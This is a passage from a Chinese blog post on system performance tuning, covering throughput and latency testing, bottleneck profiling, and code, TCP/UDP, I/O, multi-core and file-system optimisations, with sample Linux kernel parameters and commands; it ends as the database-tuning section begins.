<h4>一、系统性能定义</h4>
<p>让我们先来说说如何什么是系统性能。这个定义非常关键，如果我们不清楚什么是系统性能，那么我们将无法定位之。我见过很多朋友会觉得这很容易，但是仔细一问，其实他们并没有一个比较系统的方法，所以，在这里我想告诉大家如何系统地来定位性能。 总体来说，系统性能就是两个事：</p>
<ol>
<li><strong>Throughput</strong> ，吞吐量。也就是每秒钟可以处理的请求数，任务数。</li>
<li><strong>Latency</strong>， 系统延迟。也就是系统在处理一个请求或一个任务时的延迟。</li>
</ol>
<p>一般来说，一个系统的性能受到这两个条件的约束，缺一不可。比如，我的系统可以顶得住一百万的并发，但是系统的延迟是2分钟以上，那么，这个一百万的负载毫无意义。系统延迟很短，但是吞吐量很低，同样没有意义。所以，一个好的系统的性能测试必然受到这两个条件的同时作用。 有经验的朋友一定知道，这两个东西的一些关系：</p>
<ul>
<li><strong>Throughput越大，Latency会越差。</strong>因为请求量过大，系统太繁忙，所以响应速度自然会低。</li>
<li><strong>Latency越好，能支持的Throughput就会越高。</strong>因为Latency短说明处理速度快，于是就可以处理更多的请求。</li>
</ul>
<h4>二、系统性能测试</h4>
<p>经过上述的说明，我们知道要测试系统的性能，需要我们收集系统的Throughput和Latency这两个值。</p>
<p><span id="more-7490"></span></p>
<ul>
<li>首先，<strong>需要定义Latency这个值</strong>，比如说，对于网站系统响应时间必需是5秒以内（对于某些实时系统可能需要定义的更短，比如5ms以内，这个更根据不同的业务来定义）</li>
</ul>
<ul>
<li>其次，<strong>开发性能测试工具</strong>，一个工具用来制造高强度的Throughput，另一个工具用来测量Latency。对于第一个工具，你可以参考一下“<a title="十个免费的Web压力测试工具" href="https://coolshell.cn/articles/2589.html" target="_blank">十个免费的Web压力测试工具</a>”，关于如何测量Latency，你可以在代码中测量，但是这样会影响程序的执行，而且只能测试到程序内部的Latency，真正的Latency是整个系统都算上，包括操作系统和网络的延时，你可以使用Wireshark来抓网络包来测量。这两个工具具体怎么做，这个还请大家自己思考去了。</li>
</ul>
<ul>
<li>最后，<strong>开始性能测试</strong>。你需要不断地提升测试的Throughput，然后观察系统的负载情况，如果系统顶得住，那就观察Latency的值。这样，你就可以找到系统的最大负载，并且你可以知道系统的响应延时是多少。</li>
</ul>
<p>再多说一些，</p>
<ul>
<li>关于Latency，如果吞吐量很少，这个值估计会非常稳定，当吞吐量越来越大时，系统的Latency会出现非常剧烈的抖动，所以，我们在测量Latency的时候，我们需要注意到Latency的分布，也就是说，有百分之几的在我们允许的范围，有百分之几的超出了，有百分之几的完全不可接受。也许，平均下来的Latency达标了，但是其中仅有50%的达到了我们可接受的范围。那也没有意义。</li>
</ul>
<ul>
<li>关于性能测试，我们还需要定义一个时间段。比如：在某个吞吐量上持续15分钟。因为当负载到达的时候，系统会变得不稳定，当过了一两分钟后，系统才会稳定。另外，也有可能是，你的系统在这个负载下前几分钟还表现正常，然后就不稳定了，甚至垮了。所以，需要这么一段时间。这个值，我们叫做峰值极限。</li>
</ul>
<ul>
<li>性能测试还需要做Soak Test，也就是在某个吞吐量下，系统可以持续跑一周甚至更长。这个值，我们叫做系统的正常运行的负载极限。</li>
</ul>
<p>性能测试有很多很复要的东西，比如：burst test等。 这里不能一一详述，这里只说了一些和性能调优相关的东西。总之，性能测试是一细活和累活。</p>
<h4>三、定位性能瓶颈</h4>
<p><img decoding="async" loading="lazy" class="alignright size-full wp-image-7640" title="bottleneck" src="https://coolshell.cn/wp-content/uploads/2012/06/bottleneck.jpg" alt="" width="200" height="200" srcset="https://coolshell.cn/wp-content/uploads/2012/06/bottleneck.jpg 200w, https://coolshell.cn/wp-content/uploads/2012/06/bottleneck-150x150.jpg 150w" sizes="(max-width: 200px) 100vw, 200px" />有了上面的铺垫，我们就可以测试到到系统的性能了，再调优之前，我们先来说说如何找到性能的瓶颈。我见过很多朋友会觉得这很容易，但是仔细一问，其实他们并没有一个比较系统的方法。</p>
<h5>3.1）查看操作系统负载</h5>
<p>首先，当我们系统有问题的时候，我们不要急于去调查我们代码，这个毫无意义。我们首要需要看的是操作系统的报告。看看操作系统的CPU利用率，看看内存使用率，看看操作系统的IO，还有网络的IO，网络链接数，等等。Windows下的perfmon是一个很不错的工具，Linux下也有很多相关的命令和工具，比如：<a href="http://sourceware.org/systemtap/" target="_blank">SystemTap</a>，<a href="https://latencytop.org/" target="_blank">LatencyTOP</a>，vmstat, sar, iostat, top, tcpdump等等 。通过观察这些数据，我们就可以知道我们的软件的性能基本上出在哪里。比如：</p>
<p>1）先看CPU利用率，如果CPU利用率不高，但是系统的Throughput和Latency上不去了，这说明我们的程序并没有忙于计算，而是忙于别的一些事，比如IO。（另外，CPU的利用率还要看内核态的和用户态的，内核态的一上去了，整个系统的性能就下来了。而对于多核CPU来说，CPU 0 是相当关键的，如果CPU 0的负载高，那么会影响其它核的性能，因为CPU各核间是需要有调度的，这靠CPU0完成）</p>
<p>2）然后，我们可以看一下IO大不大，IO和CPU一般是反着来的，CPU利用率高则IO不大，IO大则CPU就小。关于IO，我们要看三个事，一个是磁盘文件IO，一个是驱动程序的IO（如：网卡），一个是内存换页率。这三个事都会影响系统性能。</p>
<p>3）然后，查看一下网络带宽使用情况，在Linux下，你可以使用iftop, iptraf, ntop, tcpdump这些命令来查看。或是用Wireshark来查看。</p>
<p>4）如果CPU不高，IO不高，内存使用不高，网络带宽使用不高。但是系统的性能上不去。这说明你的程序有问题，比如，你的程序被阻塞了。可能是因为等那个锁，可能是因为等某个资源，或者是在切换上下文。</p>
<p><strong>通过了解操作系统的性能，我们才知道性能的问题，比如：带宽不够，内存不够，TCP缓冲区不够，等等，很多时候，不需要调整程序的，只需要调整一下硬件或操作系统的配置就可以了</strong>。</p>
<h5>3.2）使用Profiler测试</h5>
<p>接下来，我们需要使用性能检测工具，也就是使用某个Profiler来差看一下我们程序的运行性能。如：Java的JProfiler/TPTP/CodePro Profiler，GNU的gprof，IBM的PurifyPlus，Intel的VTune，AMD的CodeAnalyst，还有Linux下的OProfile/perf，后面两个可以让你对你的代码优化到CPU的微指令级别，如果你关心CPU的L1/L2的缓存调优，那么你需要考虑一下使用VTune。 使用这些Profiler工具，可以让你程序中各个模块函数甚至指令的很多东西，如：<strong>运行的时间</strong> ，<strong>调用的次数</strong>，<strong>CPU的利用率</strong>，等等。这些东西对我们来说非常有用。</p>
<p>我们重点观察运行时间最多，调用次数最多的那些函数和指令。这里注意一下，对于调用次数多但是时间很短的函数，你可能只需要轻微优化一下，你的性能就上去了（比如：某函数一秒种被调用100万次，你想想如果你让这个函数提高0.01毫秒的时间 ，这会给你带来多大的性能）</p>
<p>使用Profiler有个问题我们需要注意一下，因为Profiler会让你的程序运行的性能变低，像PurifyPlus这样的工具会在你的代码中插入很多代码，会导致你的程序运行效率变低，从而没发测试出在高吞吐量下的系统的性能，对此，一般有两个方法来定位系统瓶颈：</p>
<p>1）在你的代码中自己做统计，使用微秒级的计时器和函数调用计算器，每隔10秒把统计log到文件中。</p>
<p>2）分段注释你的代码块，让一些函数空转，做Hard Code的Mock，然后再测试一下系统的Throughput和Latency是否有质的变化，如果有，那么被注释的函数就是性能瓶颈，再在这个函数体内注释代码，直到找到最耗性能的语句。</p>
<p>最后再说一点，<strong>对于性能测试，不同的Throughput会出现不同的测试结果，不同的测试数据也会有不同的测试结果。所以，用于性能测试的数据非常重要，性能测试中，我们需要观测试不同Throughput的结果</strong>。</p>
<h4>四、常见的系统瓶颈</h4>
<p>下面这些东西是我所经历过的一些问题，也许并不全，也许并不对，大家可以补充指正，我<strong>纯属抛砖引玉</strong>。关于系统架构方面的性能调优，大家可移步看一下《<a title="由12306.cn谈谈网站性能技术" href="https://coolshell.cn/articles/6470.html" target="_blank">由12306.cn谈谈网站性能技术</a>》，关于Web方面的一些性能调优的东西，大家可以看看《<a title="Web开发中需要了解的东西" href="https://coolshell.cn/articles/6043.html" target="_blank">Web开发中需要了解的东西</a>》一文中的性能一章。我在这里就不再说设计和架构上的东西了。</p>
<p><strong></strong>一般来说，性能优化也就是下面的几个策略：</p>
<ul>
<li><strong>用空间换时间</strong>。各种cache如CPU L1/L2/RAM到硬盘，都是用空间来换时间的策略。这样策略基本上是把计算的过程一步一步的保存或缓存下来，这样就不用每次用的时候都要再计算一遍，比如数据缓冲，CDN，等。这样的策略还表现为冗余数据，比如数据镜象，负载均衡什么的。</li>
</ul>
<ul>
<li><strong>用时间换空间</strong>。有时候，少量的空间可能性能会更好，比如网络传输，如果有一些压缩数据的算法（如前些天说的“<a title="Huffman 编码压缩算法" href="https://coolshell.cn/articles/7459.html">Huffman 编码压缩算法</a>” 和 “<a title="rsync 的核心算法" href="https://coolshell.cn/articles/7425.html">rsync 的核心算法</a>”），这样的算法其实很耗时，但是因为瓶颈在网络传输，所以用时间来换空间反而能省时间。</li>
</ul>
<ul>
<li><strong>简化代码</strong>。最高效的程序就是不执行任何代码的程序，所以，代码越少性能就越高。关于代码级优化的技术大学里的教科书有很多示例了。如：减少循环的层数，减少递归，在循环中少声明变量，少做分配和释放内存的操作，尽量把循环体内的表达式抽到循环外，条件表达的中的多个条件判断的次序，尽量在程序启动时把一些东西准备好，注意函数调用的开销（栈上开销），注意面向对象语言中临时对象的开销，小心使用异常（不要用异常来检查一些可接受可忽略并经常发生的错误），…… 等等，等等，这连东西需要我们非常了解编程语言和常用的库。</li>
</ul>
<ul>
<li><strong>并行处理</strong>。如果CPU只有一个核，你要玩多进程，多线程，对于计算密集型的软件会反而更慢（因为操作系统调度和切换开销很大），CPU的核多了才能真正体现出多进程多线程的优势。并行处理需要我们的程序有Scalability，不能水平或垂直扩展的程序无法进行并行处理。从架构上来说，这表再为——是否可以做到不改代码只是加加机器就可以完成性能提升？</li>
</ul>
<p>总之，<strong>根据2：8原则来说，20%的代码耗了你80%的性能，找到那20%的代码，你就可以优化那80%的性能</strong>。 下面的一些东西都是我的一些经验，我只例举了一些最有价值的性能调优的的方法，供你参考，也欢迎补充。</p>
<p><strong>4.1）算法调优</strong>。算法非常重要，好的算法会有更好的性能。举几个我经历过的项目的例子，大家可以感觉一下。</p>
<ul>
<li>一个是<strong>过滤算法</strong>，系统需要对收到的请求做过滤，我们把可以被filter in/out的东西配置在了一个文件中，原有的过滤算法是遍历过滤配置，后来，我们找到了一种方法可以对这个过滤配置进行排序，这样就可以用二分折半的方法来过滤，系统性能增加了50%。</li>
</ul>
<ul>
<li>一个是<strong>哈希算法</strong>。计算哈希算法的函数并不高效，一方面是计算太费时，另一方面是碰撞太高，碰撞高了就跟单向链表一个性能（可参看<a title="Hash Collision DoS 问题" href="https://coolshell.cn/articles/6424.html">Hash Collision DoS 问题</a>）。我们知道，算法都是和需要处理的数据很有关系的，就算是被大家所嘲笑的“冒泡排序”在某些情况下（大多数数据是排好序的）其效率会高于所有的排序算法。哈希算法也一样，广为人知的哈希算法都是用英文字典做测试，但是我们的业务在数据有其特殊性，所以，对于还需要根据自己的数据来挑选适合的哈希算法。对于我以前的一个项目，公司内某牛人给我发来了一个哈希算法，结果让我们的系统性能上升了150%。（关于各种哈希算法，你一定要看看<a href="http://programmers.stackexchange.com/questions/49550/which-hashing-algorithm-is-best-for-uniqueness-and-speed/145633#145633" target="_blank">StackExchange上的这篇关于各种hash算法的文章</a> ）</li>
</ul>
<ul>
<li><strong>分而治之和预处理</strong>。以前有一个程序为了生成月报表，每次都需要计算很长的时间，有时候需要花将近一整天的时间。于是我们把我们找到了一种方法可以把这个算法发成增量式的，也就是说我每天都把当天的数据计算好了后和前一天的报表合并，这样可以大大的节省计算时间，每天的数据计算量只需要20分钟，但是如果我要算整个月的，系统则需要10个小时以上（SQL语句在大数据量面前性能成级数性下降）。这种分而治之的思路在大数据面前对性能有很帮助，就像merge排序一样。SQL语句和数据库的性能优化也是这一策略，如：使用嵌套式的Select而不是笛卡尔积的Select，使用视图，等等。</li>
</ul>
<p><strong>4.2）代码调优</strong>。从我的经验上来说，代码上的调优有下面这几点：</p>
<ul>
<li><strong>字符串操作</strong>。这是最费系统性能的事了，无论是strcpy, strcat还是strlen，最需要注意的是字符串子串匹配。所以，能用整型最好用整型。举几个例子，第一个例子是N年前做银行的时候，我的同事喜欢把日期存成字符串（如：2012-05-29 08:30:02），我勒个去，一个select  where between语句相当耗时。另一个例子是，我以前有个同事把一些状态码用字符串来处理，他的理由是，这样可以在界面上直接显示，后来性能调优的时候，我把这些状态码全改成整型，然后用位操作查状态，因为有一个每秒钟被调用了150K次的函数里面有三处需要检查状态，经过改善以后，整个系统的性能上升了30%左右。还有一个例子是，我以前从事的某个产品编程规范中有一条是要在每个函数中把函数名定义出来，如：const char fname[]=&#8221;functionName()&#8221;, 这是为了好打日志，但是为什么不声明成 static类型的呢？</li>
</ul>
<ul>
<li><strong>多线程调优</strong>。有人说，thread is evil，这个对于系统性能在某些时候是个问题。因为多线程瓶颈就在于互斥和同步的锁上，以及线程上下文切换的成本，怎么样的少用锁或不用锁是根本（比如：<a title="多版本并发控制(MVCC)在分布式系统中的应用" href="https://coolshell.cn/articles/6790.html">多版本并发控制(MVCC)在分布式系统中的应用</a> 中说的乐观锁可以解决性能问题），此外，还有读写锁也可以解决大多数是读操作的并发的性能问题。这里多说一点在C++中，我们可能会使用线程安全的智能指针AutoPtr或是别的一些容器，只要是线程安全的，其不管三七二十一都要上锁，上锁是个成本很高的操作，使用AutoPtr会让我们的系统性能下降得很快，如果你可以保证不会有线程并发问题，那么你应该不要用AutoPtr。我记得我上次我们同事去掉智能指针的引用计数，让系统性能提升了50%以上。对于Java对象的引用计数，如果我猜的没错的话，到处都是锁，所以，Java的性能问题一直是个问题。另外，线程不是越多越好，线程间的调度和上下文切换也是很夸张的事，尽可能的在一个线程里干，尽可能的不要同步线程。这会让你有很多的性能。</li>
</ul>
<ul>
<li><strong>内存分配</strong>。不要小看程序的内存分配。malloc/realloc/calloc这样的系统调非常耗时，尤其是当内存出现碎片的时候。我以前的公司出过这样一个问题——在用户的站点上，我们的程序有一天不响应了，用GDB跟进去一看，系统hang在了malloc操作上，20秒都没有返回，重启一些系统就好了。这就是内存碎片的问题。这就是为什么很多人抱怨STL有严重的内存碎片的问题，因为太多的小内存的分配释放了。有很多人会以为用内存池可以解决这个问题，但是实际上他们只是重新发明了Runtime-C或操作系统的内存管理机制，完全于事无补。当然解决内存碎片的问题还是通过内存池，具体来说是一系列不同尺寸的内存池（这个留给大家自己去思考）。当然，少进行动态内存分配是最好的。说到内存池就需要说一下池化技术。比如线程池，连接池等。池化技术对于一些短作业来说（如http服务） 相当相当的有效。这项技术可以减少链接建立，线程创建的开销，从而提高性能。</li>
</ul>
<ul>
<li><strong>异步操作</strong>。我们知道Unix下的文件操作是有block和non-block的方式的，像有些系统调用也是block式的，如：Socket下的select，Windows下的WaitforObject之类的，如果我们的程序是同步操作，那么会非常影响性能，我们可以改成异步的，但是改成异步的方式会让你的程序变复杂。异步方式一般要通过队列，要注间队列的性能问题，另外，异步下的状态通知通常是个问题，比如消息事件通知方式，有callback方式，等，这些方式同样可能会影响你的性能。但是通常来说，异步操作会让性能的吞吐率有很大提升（Throughput），但是会牺牲系统的响应时间（latency）。这需要业务上支持。</li>
</ul>
<ul>
<li><strong>语言和代码库</strong>。我们要熟悉语言以及所使用的函数库或类库的性能。比如：STL中的很多容器分配了内存后，那怕你删除元素，内存也不会回收，其会造成内存泄露的假像，并可能造成内存碎片问题。再如，STL某些容器的size()==0  和 empty()是不一样的，因为，size()是O(n)复杂度，empty()是O(1)的复杂度，这个要小心。Java中的JVM调优需要使用的这些参数：-Xms -Xmx -Xmn -XX:SurvivorRatio -XX:MaxTenuringThreshold，还需要注意JVM的GC，GC的霸气大家都知道，尤其是full GC（还整理内存碎片），他就像“恐龙特级克赛号”一样，他运行的时候，整个世界的时间都停止了。</li>
</ul>
<p><strong>4.3）网络调优</strong></p>
<p>关于网络调优，尤其是TCP Tuning（你可以以这两个关键词在网上找到很多文章），这里面有很多很多东西可以说。看看Linux下TCP/IP的那么多参数就知道了（顺便说一下，你也许不喜欢Linux，但是你不能否认Linux给我们了很多可以进行内核调优的权力）。强烈建议大家看看《<a href="http://book.douban.com/subject/1088054/" target="_blank">TCP/IP 详解 卷1:协议</a>》这本书。我在这里只讲一些概念上的东西。</p>
<p><strong>A） TCP调优</strong></p>
<p>我们知道TCP链接是有很多开销的，一个是会占用文件描述符，另一个是会开缓存，一般来说一个系统可以支持的TCP链接数是有限的，我们需要清楚地认识到TCP链接对系统的开销是很大的。正是因为TCP是耗资源的，所以，很多攻击都是让你系统上出现大量的TCP链接，把你的系统资源耗尽。比如著名的SYNC Flood攻击。</p>
<p>所以，我们要注意配置KeepAlive参数，这个参数的意思是定义一个时间，如果链接上没有数据传输，系统会在这个时间发一个包，如果没有收到回应，那么TCP就认为链接断了，然后就会把链接关闭，这样可以回收系统资源开销。（注：HTTP层上也有KeepAlive参数）对于像HTTP这样的短链接，设置一个1-2分钟的keepalive非常重要。这可以在一定程度上防止DoS攻击。有下面几个参数（下面这些参数的值仅供参考）：</p>
<pre data-enlighter-language="shell" class="EnlighterJSRAW">net.ipv4.tcp_keepalive_probes = 5
net.ipv4.tcp_keepalive_intvl = 20
net.ipv4.tcp_fin_timeout = 30</pre>
<p>对于TCP的TIME_WAIT这个状态，主动关闭的一方进入TIME_WAIT状态，TIME_WAIT状态将持续2个MSL(Max Segment Lifetime)，默认为4分钟，TIME_WAIT状态下的资源不能回收。有大量的TIME_WAIT链接的情况一般是在HTTP服务器上。对此，有两个参数需要注意，</p>
<pre data-enlighter-language="shell" class="EnlighterJSRAW">net.ipv4.tcp_tw_reuse=1
net.ipv4.tcp_tw_recycle=1</pre>
<p>前者表示重用TIME_WAIT，后者表示回收TIME_WAIT的资源。</p>
<p>TCP还有一个重要的概念叫RWIN（TCP Receive Window Size），这个东西的意思是，我一个TCP链接在没有向Sender发出ack时可以接收到的最大的数据包。为什么这个很重要？因为如果Sender没有收到Receiver发过来ack，Sender就会停止发送数据并会等一段时间，如果超时，那么就会重传。这就是为什么TCP链接是可靠链接的原因。重传还不是最严重的，如果有丢包发生的话，TCP的带宽使用率会马上受到影响（会盲目减半），再丢包，再减半，然后如果不丢包了，就逐步恢复。相关参数如下：</p>
<pre data-enlighter-language="shell" class="EnlighterJSRAW">net.core.wmem_default = 8388608
net.core.rmem_default = 8388608
net.core.rmem_max = 16777216
net.core.wmem_max = 16777216</pre>
<p>一般来说，理论上的RWIN应该设置成：吞吐量  * 回路时间。Sender端的buffer应该和RWIN有一样的大小，因为Sender端发送完数据后要等Receiver端确认，如果网络延时很大，buffer过小了，确认的次数就会多，于是性能就不高，对网络的利用率也就不高了。也就是说，对于延迟大的网络，我们需要大的buffer，这样可以少一点ack，多一些数据，对于响应快一点的网络，可以少一些buffer。因为，如果有丢包（没有收到ack），buffer过大可能会有问题，因为这会让TCP重传所有的数据，反而影响网络性能。（当然，网络差的情况下，就别玩什么高性能了） 所以，高性能的网络重要的是要让网络丢包率非常非常地小（基本上是用在LAN里），如果网络基本是可信的，这样用大一点的buffer会有更好的网络传输性能（来来回回太多太影响性能了）。</p>
<p>另外，我们想一想，如果网络质量非常好，基本不丢包，而业务上我们不怕偶尔丢几个包，如果是这样的话，那么，我们为什么不用速度更快的UDP呢？你想过这个问题了吗？</p>
<p><strong>B）UDP调优</strong></p>
<p>说到UDP的调优，有一些事我想重点说一样，那就是MTU——最大传输单元（其实这对TCP也一样，因为这是链路层上的东西）。所谓最大传输单元，你可以想像成是公路上的公交车，假设一个公交车可以最多坐70人，带宽就像是公路的车道数一样，如果一条路上最多可以容下100辆公交车，那意味着我最多可以运送7000人，但是如果公交车坐不满，比如平均每辆车只有20人，那么我只运送了2000人，于是我公路资源（带宽资源）就被浪费了。 所以，我们对于一个UDP的包，我们要尽量地让他大到MTU的最大尺寸再往网络上传，这样可以最大化带宽利用率。对于这个MTU，以太网是1500字节，光纤是4352字节，802.11无线网是7981。但是，当我们用TCP/UDP发包的时候，我们的有效负载Payload要低于这个值，因为IP协议会加上20个字节，UDP会加上8个字节（TCP加的更多），所以，一般来说，你的一个UDP包的最大应该是1500-8-20=1472，这是你的数据的大小。当然，如果你用光纤的话， 这个值就可以更大一些。（顺便说一下，对于某些NB的千光以态网网卡来说，在网卡上，网卡硬件如果发现你的包的大小超过了MTU，其会帮你做fragment，到了目标端又会帮你做重组，这就不需要你在程序中处理了）</p>
<p>再多说一下，使用Socket编程的时候，你可以使用setsockopt() 设置 SO_SNDBUF/SO_RCVBUF 的大小，TTL和KeepAlive这些关键的设置，当然，还有很多，具体你可以查看一下Socket的手册。</p>
<p>最后说一点，UDP还有一个最大的好处是multi-cast多播，这个技术对于你需要在内网里通知多台结点时非常方便和高效。而且，多播这种技术对于机会的水平扩展（需要增加机器来侦听多播信息）也很有利。</p>
<p><strong>C）网卡调优</strong></p>
<p><strong></strong>对于网卡，我们也是可以调优的，这对于千兆以及网网卡非常必要，在Linux下，我们可以用ifconfig查看网上的统计信息，如果我们看到overrun上有数据，我们就可能需要调整一下txqueuelen的尺寸（一般默认为1000），我们可以调大一些，如：ifconfig eth0 txqueuelen 5000。Linux下还有一个命令叫：ethtool可以用于设置网卡的缓冲区大小。在Windows下，我们可以在网卡适配器中的高级选项卡中调整相关的参数（如：Receive Buffers, Transmit Buffer等，不同的网卡有不同的参数）。把Buffer调大对于需要大数据量的网络传输非常有效。</p>
<p><strong>D）其它网络性能</strong></p>
<p>关于多路复用技术，也就是用一个线程来管理所有的TCP链接，有三个系统调用要重点注意：一个是select，这个系统调用只支持上限1024个链接，第二个是poll，其可以突破1024的限制，但是select和poll本质上是使用的轮询机制，轮询机制在链接多的时候性能很差，因主是O(n)的算法，所以，epoll出现了，epoll是操作系统内核支持的，仅当在链接活跃时，操作系统才会callback，这是由操作系统通知触发的，但其只有Linux Kernel 2.6以后才支持（准确说是2.5.44中引入的），当然，如果所有的链接都是活跃的，过多的使用epoll_ctl可能会比轮询的方式还影响性能，不过影响的不大。</p>
<p>另外，关于一些和DNS Lookup的系统调用要小心，比如：gethostbyaddr/gethostbyname，这个函数可能会相当的费时，因为其要到网络上去找域名，因为DNS的递归查询，会导致严重超时，而又不能通过设置什么参数来设置time out，对此你可以通过配置hosts文件来加快速度，或是自己在内存中管理对应表，在程序启动时查好，而不要在运行时每次都查。另外，在多线程下面，gethostbyname会一个更严重的问题，就是如果有一个线程的gethostbyname发生阻塞，其它线程都会在gethostbyname处发生阻塞，这个比较变态，要小心。（你可以试试GNU的gethostbyname_r()，这个的性能要好一些） 这种到网上找信息的东西很多，比如，如果你的Linux使用了NIS，或是NFS，某些用户或文件相关的系统调用就很慢，所以要小心。</p>
<p><strong>4.4）系统调优</strong></p>
<p><strong>A）I/O模型</strong></p>
<p>前面说到过select/poll/epoll这三个系统调用，我们都知道，Unix/Linux下把所有的设备都当成文件来进行I/O，所以，那三个操作更应该算是I/O相关的系统调用。说到  I/O模型，这对于我们的I/O性能相当重要，我们知道，Unix/Linux经典的I/O方式是（关于Linux下的I/O模型，大家可以读一下这篇文章《<a href="http://www.ibm.com/developerworks/cn/linux/l-async/" target="_blank">使用异步I/O大大提高性能</a>》）：</p>
<p>第一种，同步阻塞式I/O，这个不说了。</p>
<p>第二种，同步无阻塞方式。其通过fctnl设置 O_NONBLOCK 来完成。</p>
<p>第三种，对于select/poll/epoll这三个是I/O不阻塞，但是在事件上阻塞，算是：I/O异步，事件同步的调用。</p>
<p>第四种，AIO方式。这种I/O 模型是一种处理与 I/O 并行的模型。I/O请求会立即返回，说明请求已经成功发起了。在后台完成I/O操作时，向应用程序发起通知，通知有两种方式：一种是产生一个信号，另一种是执行一个基于线程的回调函数来完成这次 I/O 处理过程。</p>
<p>第四种因为没有任何的阻塞，无论是I/O上，还是事件通知上，所以，其可以让你充分地利用CPU，比起第二种同步无阻塞好处就是，第二种要你一遍一遍地去轮询。Nginx之所所以高效，是其使用了epoll和AIO的方式来进行I/O的。</p>
<p>再说一下Windows下的I/O模型，</p>
<p>a）一个是WriteFile系统调用，这个系统调用可以是同步阻塞的，也可以是同步无阻塞的，关于看文件是不是以Overlapped打开的。关于同步无阻塞，需要设置其最后一个参数Overlapped，微软叫Overlapped I/O，你需要WaitForSingleObject才能知道有没有写完成。这个系统调用的性能可想而知。</p>
<p>b）另一个叫WriteFileEx的系统调用，其可以实现异步I/O，并可以让你传入一个callback函数，等I/O结束后回调之， 但是这个回调的过程Windows是把callback函数放到了APC（<a href="http://msdn.microsoft.com/en-us/library/windows/desktop/ms681951(v=vs.85).aspx" target="_blank">Asynchronous Procedure Calls</a>）的队列中，然后，只用当应用程序当前线程成为可被通知状态（Alterable）时，才会被回调。只有当你的线程使用了这几个函数时<a href="http://msdn.microsoft.com/en-us/library/windows/desktop/ms687036(v=vs.85).aspx">WaitForSingleObjectEx</a>, <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/ms687028(v=vs.85).aspx">WaitForMultipleObjectsEx</a>, <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/ms684245(v=vs.85).aspx">MsgWaitForMultipleObjectsEx</a>, <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/ms686293(v=vs.85).aspx">SignalObjectAndWait</a> 和 <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/ms686307(v=vs.85).aspx">SleepEx</a>，线程才会成为Alterable状态。可见，这个模型，还是有wait，所以性能也不高。</p>
<p>c）然后是IOCP &#8211; IO Completion Port，IOCP会把I/O的结果放在一个队列中，但是，侦听这个队列的不是主线程，而是专门来干这个事的一个或多个线程去干（老的平台要你自己创建线程，新的平台是你可以创建一个线程池）。IOCP是一个线程池模型。这个和Linux下的AIO模型比较相似，但是实现方式和使用方式完全不一样。</p>
<p>当然，真正提高I/O性能方式是把和外设的I/O的次数降到最低，最好没有，所以，对于读来说，内存cache通常可以从质上提升性能，因为内存比外设快太多了。对于写来说，cache住要写的数据，少写几次，但是cache带来的问题就是实时性的问题，也就是latency会变大，我们需要在写的次数上和相应上做权衡。</p>
<p><strong>B）多核<strong>CPU</strong>调优</strong></p>
<p>关于CPU的多核技术，我们知道，CPU0是很关键的，如果0号CPU被用得过狠的话，别的CPU性能也会下降，因为CPU0是有调整功能的，所以，我们不能任由操作系统负载均衡，因为我们自己更了解自己的程序，所以，我们可以手动地为其分配CPU核，而不会过多地占用CPU0，或是让我们关键进程和一堆别的进程挤在一起。</p>
<ul>
<li>对于Windows来说，我们可以通过“任务管理器”中的“进程”而中右键菜单中的“设置相关性……”（Set Affinity&#8230;）来设置并限制这个进程能被运行在哪些核上。</li>
</ul>
<ul>
<li>对于Linux来说，可以使用taskset命令来设置（你可以通过安装schedutils来安装这个命令：apt-get install schedutils）</li>
</ul>
<p>多核CPU还有一个技术叫<a href="http://en.wikipedia.org/wiki/Non-Uniform_Memory_Access" target="_blank">NUMA</a>技术（Non-Uniform Memory Access）。传统的多核运算是使用SMP(Symmetric Multi-Processor )模式，多个处理器共享一个集中的存储器和I/O总线。于是就会出现一致存储器访问的问题，一致性通常意味着性能问题。NUMA模式下，处理器被划分成多个node， 每个node有自己的本地存储器空间。关于NUMA的一些技术细节，你可以查看一下这篇文章《<a href="http://www.ibm.com/developerworks/cn/linux/l-numa/index.html" target="_blank">Linux 的 NUMA 技术</a>》，在Linux下，对NUMA调优的命令是：<strong>numactl </strong>。如下面的命令：（指定命令“myprogram arg1 arg2”运行在node 0 上，其内存分配在node 0 和 1上）</p>
<p><code data-enlighter-language="shell" class="EnlighterJSRAW">numactl --cpubind=0 --membind=0,1 myprogram arg1 arg2</code></p>
<p>当然，上面这个命令并不好，因为内存跨越了两个node，这非常不好。最好的方式是只让程序访问和自己运行一样的node，如：</p>
<p><code data-enlighter-language="shell" class="EnlighterJSRAW">$ numactl --membind 1 --cpunodebind 1 --localalloc myapplication</code></p>
<p><strong>C）文件系统调优</strong></p>
<p>关于文件系统，因为文件系统也是有cache的，所以，为了让文件系统有最大的性能。首要的事情就是分配足够大的内存，这个非常关键，在Linux下可以使用free命令来查看 free/used/buffers/cached，理想来说，buffers和cached应该有40%左右。然后是一个快速的硬盘控制器，SCSI会好很多。最快的是Intel SSD 固态硬盘，速度超快，但是写次数有限。</p>
<p>接下来，我们就可以调优文件系统配置了，对于Linux的Ext3/4来说，几乎在所有情况下都有所帮助的一个参数是关闭文件系统访问时间，在/etc/fstab下看看你的文件系统 有没有noatime参数（一般来说应该有），还有一个是dealloc，它可以让系统在最后时刻决定写入文件发生时使用哪个块，可优化这个写入程序。还要注间一下三种日志模式：data=journal、data=ordered和data=writeback。默认设置data=ordered提供性能和防护之间的最佳平衡。</p>
<p>当然，对于这些来说，ext4的默认设置基本上是最佳优化了。</p>
<p>这里介绍一个Linux下的查看I/O的命令—— iotop，可以让你看到各进程的磁盘读写的负载情况。</p>
<p>其它还有一些关于NFS、XFS的调优，大家可以上google搜索一些相关优化的文章看看。关于各文件系统，大家可以看一下这篇文章——《<a href="http://www.ibm.com/developerworks/cn/linux/l-jfs/" target="_blank">Linux日志文件系统及性能分析</a>》</p>
<p><strong>4.5）数据库调优</strong></p>
<p>数据库调优并不是我的强项，我就仅用我非常有限的知识说上一些吧。注意，下面的这些东西并不一定正确，因为在不同的业务场景，不同的数据库设计下可能会得到完全相反的结论，所以，我仅在这里做一些一般性的说明，具体问题还要具体分析。</p>
<p><strong>A）数据库引擎调优</strong></p>
<p>我对数据库引擎不是熟，但是有几个事情我觉得是一定要去了解的。</p>
<ul>
